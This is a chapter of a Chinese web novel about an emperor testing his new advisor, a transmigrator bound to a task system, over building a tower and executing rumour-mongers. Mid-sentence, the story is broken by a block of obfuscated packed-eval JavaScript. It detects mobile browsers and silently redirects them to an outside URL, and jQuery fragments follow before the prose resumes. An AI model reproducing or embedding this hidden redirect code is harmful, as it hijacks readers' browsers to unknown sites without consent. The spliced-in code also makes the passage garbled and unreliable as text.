赵连稷没心情管魏建怎么想,或者说得更无情点,他根本不在意魏建如何想。君要臣死,臣不得不死,自古以来皆是如此,他魏建矫情个什么劲儿?再说了,魏旭安本来就是歪瓜裂枣,那些罪名实不算冤枉了他。 亲侄子查办叔叔,这是多么大公无私的精神啊!魏建倒应该谢谢自己给了他这么一个千古留名的机会。 赵连稷侧头问,“楚昀现在何处?” “回陛下的话,奴才们按您的吩咐,将他安排在坤明宫的左偏殿。” “走,去看看朕新得的先生在做什么?” * 楚昀先生正在马不停蹄地浏览各地的地方志,作为天子智脑,他需要具备高度的专业素养。因此了解各地风土人情,百姓民生算是基本功了。 楚昀现在联系不上系统,只能凭借自己的猜测做任务。他想既然赵连稷绑定了系统,这人一死死就会引起时间回溯,而自己的任务是位极人臣,权倾朝野,其实细究起来这两件事完全不冲突啊! 以前他钻牛角尖,认为这个位极人臣的“人臣”一定是男主的人臣,可赵连稷屁股底下坐着地也是龙椅啊!自己干嘛不辅佐他,让小皇帝勤政爱民,多活几年,自己做他的人臣呢? 楚昀越想越觉得自己掌握了真相,他拿出十二分精神来攻读各地现状,争取做谋臣中的谋臣。 跺一跺脚就能让哪哪哪抖三抖的那种。 隔着窗,赵连稷瞥见了孜孜不倦的楚先生。 他笑笑,“还挺用功的。” 首领太监一缩头,不知道他这话是夸人呢还是骂人呢,是满意呢还是不满意呢。毕竟自家陛下的德行向来如此,下令砍人头时也温温柔柔的,连带着不轻不重地夸两句,仿佛要给底下的大臣升官似的。 “楚先生的确是人中英才,陛下好眼力。” 赵连稷没叫人同胞,直接推门而入,吓得楚昀抖了一下。 “看来朕来的不是时候,叨扰先生读书了。” 楚昀正想和大腿打好关系呢,哪能嫌他来的不巧? 他赶紧行礼,“陛下言重了,不知陛下前来所谓何事?” 赵连稷坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307463|181183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在他的右侧,没让他起身,开玩笑道,“没事就不能来寻先生吗?朕与先生投缘,恨不能日日相见。” 楚昀低着头,表情扭曲,心想可拉倒吧,咱俩还投缘,冤家还差不多。 “承蒙陛下厚爱,昀不胜欣喜。” 赵连稷扫了一眼案上横七竖八的书,“先生爱看地方志?” 楚昀恭敬道,“各地山水风土不同,认清礼节不同,钱粮兵力不同,昀每每细想,都觉出一番风味。” 赵连稷“哦”了一声,是个升调。 楚昀心道不好,一般老师换上这种语气都是要出题考考你。 果不其然,他听到对面的小皇帝道,“朕前些天听说理朝有位君王建了座巨塔,名为观星楼。传闻登斯楼便可捉星弄云,极为有趣。先生不妨给朕讲讲,若朕也想建这么座塔,该从哪个州调些人来呢?” 楚昀骂人的话在心里转了好几个圈都没加载出来,他吐了一口充满***的浊气,勉强道,“陛下莫要轻信他人的玩笑话,观星楼再高,也高不过天,哪里能捉星弄云?想来是那起子小人胡诌的。” 赵连稷恍然大悟,满脸遗憾,“竟是如此!那就依先生所言,把他们全杀了吧。敢在朕面前胡言乱语,想必是苦恼命太长了。” “陛下不可啊!” 楚昀急得一身冷汗,好家伙,还依他所言,他哪个字说要把人全杀了? 赵连稷微微皱眉,语气不满,“先生说此事是假的,朕便不信也不建了;先生说那起子人蒙骗天子,朕便听你的杀了他们。如今你却告诉我不可,那先生说说究竟是何处不可?” 楚昀连忙道,“那些人未必是故意哄骗陛下,大概是玩笑话。陛下如若因为这点小事就杀了他们,难免会惹人非议,说陛下刻薄寡恩,喜怒无常,若为他们这等小人让陛下待此恶名,昀心不忍。” 赵连稷忽然转了话题,“呀,先生怎么还站着?都怪朕说话太入神了,忽略了先生,快坐!” 楚昀不动声色地捏了捏自己已经酸胀的手臂,心里早就把他翻来覆去的骂上一百遍了。 坤明宫是皇帝的寝宫,左偏殿一般是嫔妃侍寝所住的地方,因此桌案并不大,若是两人分坐左右,那便离得非常近。 楚昀嗅到赵连稷身上龙涎香的气味,还有一股似有若无的花香。 他硬着头皮说:“陛下意下如何?” 赵连稷还是不接他的话茬,“先生可否把手伸过来给朕瞧瞧?” 楚昀不解,但他知道此时此刻最好不要触大魔王的霉头,于是乖乖照做。 那是一双漂亮白皙的手,手指纤长,骨节分明。但虎口处、手背上、手心里却布满了大大小小的淡色伤疤,一条连一条,斑驳错落的。 赵连稷忽而笑道,“这不像是一双谋臣的手,更像是一个武将的手。” 他黑白分明的眼睛盯住楚昀的脸,眼神交错间,烫得楚昀立刻低下头。 “尤其是那种伸张正义的,要拨乱反正,诛杀暴君的将星。”